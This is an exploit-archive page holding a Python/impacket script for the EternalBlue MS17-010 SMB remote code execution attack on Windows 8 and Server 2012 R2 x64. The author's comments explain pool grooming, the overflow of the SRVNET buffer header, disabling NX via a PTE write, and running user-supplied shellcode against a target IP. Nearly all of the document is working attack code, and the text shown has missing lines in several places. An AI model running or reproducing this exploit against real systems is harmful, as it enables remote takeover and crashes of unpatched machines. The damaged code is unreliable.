Microsoft Windows 8/2012 R2 x64 EternalBlue Remote Code Execution

Microsoft Windows 8/2012 R2 x64 EternalBlue SMB remote code execution exploit that leverages MS17-010.

MD5 | 06316808bbb73cda0328efe988402af7

from impacket import smb
from struct import pack
import os
import sys
import socket

EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
The exploit support only x64 target
Tested on:
- Windows 2012 R2 x64
- Windows 8.1 x64
Default Windows 8 and later installation without additional service info:
- anonymous is not allowed to access any share (including IPC$)
- tcp port 445 if filtered by firewall
- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre"
Exploit info:
- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at because the trick for exploit is almost the same
- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
- The exploit is likely to crash a target when it failed
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.
Disable NX method:
- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
- The exploit is also the same but we need to trigger bug twice
- First trigger, set MDL.MappedSystemVa to target pte address
- Write '\x00' to disable the NX flag
- Second trigger, do the same as Windows 7 exploit
- From my test, if exploit disable NX successfully, I always get code execution

# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000

ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR

Reverse from srvnet.sys (Win2012 R2 x64)
- SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():
// size 0x90
USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
char unknown0[6];
char *pNetRawBuffer; // MUST point to valid address (check if this request is "\xfdSMB")
DWORD netRawBufferSize; // offset: 0x20
DWORD ioStatusInfo;
DWORD thisNonPagedPoolSize; // will be 0x82e8 for netRawBufferSize 0x8100
DWORD pad2;
char *thisNonPagedPoolAddr; // 0x30 points to SRVNET_BUFFER
PMDL pmdl1; // point at offset 0x90 from this struct
DWORD nByteProcessed; // 0x40
char unknown4[4];
QWORD smbMsgSize; // MUST be modified to size of all recv data
PMDL pmdl2; // 0x50: if want to free corrupted buffer, need to set to valid address
QWORD pSrvNetWskStruct; // want to change to fake struct address
DWORD unknown6; // 0x60
char unknown7[12];
char unknown8[0x20];
char transportHeader[80]; // 0x50
char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
SRVNET_BUFFER_HDR hdr; //some header size 0x90
//MDL mdl1; // target
In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is
# a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".
# - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).
# This value MUST be exactly same as the number of bytes we send.
# Normally, this value is 0x80 + len(fake_struct) + len(shellcode)
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
# The value MUST point to valid (might be fake) struct.
# - offset 0x90 (MDL) : MDL for describe receiving SMB request buffer
# - 0x90 (VOID*) : MDL.Next should be NULL
# - 0x98 (USHORT) : MDL.Size should be some value that not too small
# - 0x90 (VOID*) : MDL.Process should be NULL
# - 0x98 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
# To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0
# - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()
# - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
# your shellcode as function argument
# - offset 0x50 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
# - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)
# \x48\x01\xd1 add rcx, rdx
# \x48\x89\x4a\x30 mov [rdx+0x30], rcx
# - set nByteProcessed for trigger free after return
# \x8b\x4a\x48 mov ecx, [rdx+0x48]
# \x89\x4a\x40 mov [rdx+0x40], ecx

TARGET_HAL_HEAP_ADDR = 0xffffffffffd00e00 # for put fake struct and shellcode

# Note: feaList will be created after knowing shellcode size.

# feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
# PTE of 0xffffffffffd01000 is at 0xfffff6ffffffe808
# NX bit is at 0xfffff6ffffffe80f
# MappedSystemVa = 0xfffff6ffffffe80f - 0x7f = 0xfffff6ffffffe790
fakeSrvNetBufferX64Nx = '\x00'*16
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0xfffff6ffffffe80f-0x7f) # MDL.Process, MDL.MappedSystemVa

feaListNx = pack('<I', 0x10000)
feaListNx += ntfea9000
feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)

def createFakeSrvNetBuffer(sc_size):
# 0x200 is size of fakeSrvNetBufferX64
totalRecvSize = 0x80 + 0x200 + sc_size
fakeSrvNetBufferX64 = '\x00'*16
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
return fakeSrvNetBufferX64

def createFeaList(sc_size):
feaList = pack('<I', 0x10000)
feaList += ntfea9000
fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
return feaList

# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00e00
# offset 0x50: KSPIN_LOCK
# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.
# offset 0x110: array of pointer to function
# offset 0x13c: set to 3 (DWORD) for invoking ptr to function
# some useful offset
# offset 0x120: arg1 when invoking ptr to function
# offset 0x128: arg2 when invoking ptr to function
# code path to get code exection after this struct is controlled
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = ('\x00'*16)*5
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
fake_recv_struct += ('\x00'*16)*10
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x1f0, 0) # offset 0x110: fn_ptr array
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
fake_recv_struct += ('\x00'*16)*11
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x200) # shellcode address

def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)

def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid

transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()

transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data

recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))

# do not know why Word Count can be 12
# if word count is not 12, setting ByteCount without enough data will be failed
class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters):
structure = (

def createSessionAllocNonPaged(target, size):
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
# You can see the allocation logic (even code is not the same) in WinNT4 source code
# till line 1071
conn = smb.SMB(target, target)
_, flags2 = conn.get_flags()
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size

pkt = smb.NewSMBPacket()

sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()

sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VCNumber'] = os.getpid()
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['AnsiPwdLength'] = 0
sessionSetup['Parameters']['UnicodePwdLength'] = 0
sessionSetup['Parameters']['Capabilities'] = 0x80000000

# set ByteCount here
sessionSetup['Data'] = pack('<H', size) + '\x00'*20

recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
print('SMB1 session setup allocate nonpaged pool failed')
return conn

# Note: impacket-0.9.15 struct has no ParameterDisplacement
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (

def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid

# assume no params

transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()

transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)

fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''

transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0

if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
transCommand['Data']['Pad2'] = ''
pad2Len = 0

transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement

transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data


def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid

command = pack('<H', setup)

transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()

transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)

fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
transCommand['Data']['Pad1'] = ''
padLen = 0

transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
transCommand['Data']['Pad2'] = ''
pad2Len = 0

transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]

recvPkt = conn.recvSMB() # must be success
if recvPkt.getNTStatus() == 0:
print('got good NT Trans response')
print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))

i = firstDataFragmentSize
while i < len(data):
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize

if sendLastChunk:
return i

# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool on target
def createConnectionWithBigSMBFirst80(target, for_nx=False):
sk = socket.create_connection((target, 445))
pkt = '\x00' + '\x00' + pack('>H', 0x8100)
# There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xffSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
if for_nx:
# MUST set no delay because 1 byte MUST be sent immediately
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
pkt += '\x00'*0x7c
return sk

def exploit(target, shellcode, numGroomConn):
# force using smb.SMB for SMB1
conn = smb.SMB(target, target)

# can use conn.login() for ntlmv2
conn.login_standard('', '')
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
print('This exploit does not support this target')

tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')

# Send special feaList to a target except last fragment with SMB_COM_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY command
progress = send_nt_trans(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)

# Another NT transaction for disabling NX
nxconn = smb.SMB(target, target)
nxconn.login_standard('', '')
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
nxprogress = send_nt_trans(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)

# create some big buffer at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)

# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)

# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer

# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target, for_nx=True)

# remove holeConn to create hole for fea buffer

# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# first trigger to overwrite srvnet buffer struct for disabling NX
send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
recvPkt = nxconn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status for nx: INVALID_PARAMETER')
print('bad response status for nx: 0x{:08x}'.format(retStatus))

# one of srvnetConn struct header should be modified
# send '\x00' to disable nx
for sk in srvnetConn:

# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# second trigger to place fake struct and shellcode
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
print('bad response status: 0x{:08x}'.format(retStatus))

# one of srvnetConn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)

# execute shellcode
for sk in srvnetConn:

# nicely close connection (no need for exploit)

if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))

numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])

fp = open(sys.argv[2], 'rb')
sc =

if len(sc) > 4096:
print('Shellcode too long. The place that this exploit put a shellcode is limited to 4096 bytes.')

# Now, shellcode is known. create a feaList
feaList = createFeaList(len(sc))

print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))

exploit(TARGET, sc, numGroomConn)

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